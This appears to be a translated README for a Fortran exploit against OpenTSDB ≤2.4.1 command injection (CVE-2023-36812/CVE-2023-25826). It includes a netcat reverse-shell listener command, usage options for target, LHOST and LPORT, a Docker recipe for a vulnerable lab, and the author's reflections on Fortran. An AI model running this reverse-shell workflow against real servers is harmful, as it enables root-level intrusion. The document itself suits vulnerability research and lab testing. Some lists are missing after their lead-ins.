
Fortranで記述されたOpenTSDB <= 2.4.1のコマンドインジェクション(CVE-2023-36812/CVE-2023-25826)に対するエクスプロイト
OpenTSDB <= 2.4.1 のコマンドインジェクション脆弱性 (CVE-2023-36812/CVE-2023-25826) を悪用するエクスプロイトで、Fortran で記述されています。
これは、OpenTSDB バージョン 2.4.1 以前のコマンドインジェクション脆弱性 (CVE-2023-36812/CVE-2023-25826) に対するエクスプロイトです。このエクスプロイトはモダン Fortran で書かれており、今年初めに作成された公式の Fortran http-client ライブラリ を活用しています。
OpenTSDB は Java で書かれたオープンソースの時系列データベースです。2020 年、バージョン 2.4.0 以前において、root 権限でホスト上でリモートコード実行を可能にするコマンドインジェクション脆弱性が発見されました。OpenTSDB は認証をサポートしていないため、CVE-2020-35476 として追跡されているこの脆弱性は、OpenTSDB の Web インターフェースにアクセスできるすべての人物によって悪用される可能性がありました。この問題はバージョン 2.4.1 で修正されました。
今年、CVE-2020-35476 の修正が不完全であることが判明し、OpenTSDB 2.4.1 では複数のベクトルを介して依然としてコマンドインジェクションが可能であることが明らかになりました。
詳細:
簡単に言うと、この会話を見たからです:

人類を月に送ったプログラミング言語 でエクスプロイトを書くというアイデアに非常に関心を持ち、自分で探求せずにはいられませんでした。このエクスプロイトはその実験の結果です。成功したかどうかという問いに対しては、すべての開発者を血で結ぶ賢明でありながら呪われた言葉で答えるしかありません。「自分のマシンでは動く」。¯\(ツ)/¯
とにかく、このプロジェクトから得た主な教訓は次のとおりです:
全体として、この言語が攻撃的セキュリティの分野で真の重要性を獲得するとは想像しがたいです。なぜなら、あらゆる使用例に対して優れたモダンな代替言語が数多く存在するからです(Python、Go、Rust、Ruby、C# などを挙げるだけでも十分です)。しかし、異なるプログラミング言語を試すのが好きで、文字列を常に trim() 呼び出しで囲むことを厭わないのであれば(これに注意してください。多大な苦痛から救われます)、Fortran は間違いなく試してみる価値があります。私は今、この言語を本気で応援しており、http-client ライブラリへのサポートが継続的に追加されるなら、特にいつか http-server ライブラリが追加された場合には、再び取り組むかもしれません。
要約:Fortran http-client lib が brr になります。
nc -nlvp 1337
opentsdb_key_cmd_injection ディレクトリに移動します# cd /path/to/opentsdb_key_cmd_injection/
fpm を使ってプロジェクトを実行します(事前にインストールしてください。次のセクションのインストール手順を参照)# /path/to/fpm run -- -t <target_url> -l <lhost> -p <lport> [-v]
オプション:
-t - TARGET URL:OpenTSDB のベース URL(必須)-l - LHOST:リスナーを実行しているシステムの IP(必須)-p - LPORT:リスナーポート(必須)-v - VERBOSE:詳細出力を有効にする(オプション)gfortran をインストールします。Debian ベースのシステムでは次のように行えます:apt install gfortran
chmod +x /<path>/to/fpm
fpm をインストールする前に、システムに git がインストールされていることを確認してください。
手動インストールの場合は、こちらの公式インストール手順に従ってください。ただし、これは面倒な場合があるので、Docker を使用することをお勧めします。
バージョン 2.4.0 については、vulnhub Docker イメージを使用し、こちらのインストール手順に従ってください。そのイメージは、OpenTSDB 2.4.0 までの古い脆弱性 CVE-2020-35476 向けに作成されたものです。
バージョン 2.4.1 およびおそらく他のバージョンについては、vulhub の OpenTSDB 2.4.0 イメージを利用し、インストールするバージョンに合わせて編集することができます。私は 2.4.1 でこの方法を試し、うまくいきました。
Dockerfile と docker-entrypoint.sh ファイルを取得し、専用のディレクトリに保存します。Dockerfile 内の 2.4.0 のインスタンスをすべて目的のバージョン(例:2.4.1)に置き換えます。docker-entrypoint.sh の編集は不要です。docker-compose.yml ファイルを作成します:version: '2'
services:
opentsdb:
build: ./path-to-your-dockerfile-directory
ports:
- "4242:4242"
私は次のファイル構造を使用しました:
wynter@wynter-pc:~/dev/opentsdb$ ls -lR
.:
total 8
-rw-rw-r-- 1 wynter wynter 86 Sep 1 10:55 docker-compose.yml
drwxrwxr-x 2 wynter wynter 4096 Sep 1 10:54 docker_file
./docker_file:
total 8
-rw-rw-r-- 1 wynter wynter 927 Sep 1 10:54 Dockerfile
-rw-rw-r-- 1 wynter wynter 359 Sep 1 10:35 docker-entrypoint.sh
wynter@wynter-pc:~/dev/opentsdb$ cat docker-compose.yml
version: '2'
services:
opentsdb:
build: ./docker_file
ports:
- "4242:4242"
docker-compose.yml ファイルがあるディレクトリで次のコマンドを実行し、docker-compose でイメージをビルドして実行します:docker-compose up -d
Fortran は主に、現代のコンピューティングの歴史において重要な役割を果たした古風な言語として知られていますが、今日ではもはや重要ではないと考えられています。1957 年に初めてリリースされ、ARPANET や Unix よりも 10 年以上先行しています。この時系列データのビデオによると、1960 年代から 1970 年代にかけて支配的なプログラミング言語であり、1990 年代後半まで最も人気のある 10 の言語の 1 つであり続けました。しかし、Windows 98 がリリースされる頃までには、C、C++、Java、JavaScript などのより現代的な言語に取って代わられ、明らかに流行遅れになっていました。これらはすべて今日でも広く使われています。
レガシーシステムを保守する勇敢な人々を除けば、IT の多くの人々(ましてや私たちのバブル外の人々)が、この 20 年間で Fortran に出会ったことや、それがまだ存続していることさえ知っているとは思えません。それにもかかわらず、Fortran は活発に開発が続けられています。公式 Fortran ウェブサイトに記載されているように、この言語は最後に 2018 年に改訂され、今年(2023 年)に別の改訂が見られることを期待しています。実際、Fortran コミュニティはここ数年非常に活発で、エコシステムの近代化を支援するためにいくつかの主要プロジェクトをリリースしています。その中には次のようなものがあります:
このことから、メンテナは Fortran の復活を目指しているか、少なくとも言語がさらに数十年生き残るための戦いのチャンスを与えようとしているように見えます。最も熱心な Fortran ファンでも、言語が再び最も人気のあるプログラミング言語のトップ 10 に入るとはおそらく期待していませんが、言語とそのエコシステムの継続的な近代化により、Fortran は過去 10 年から 20 年よりも関連性が高まっている可能性があります。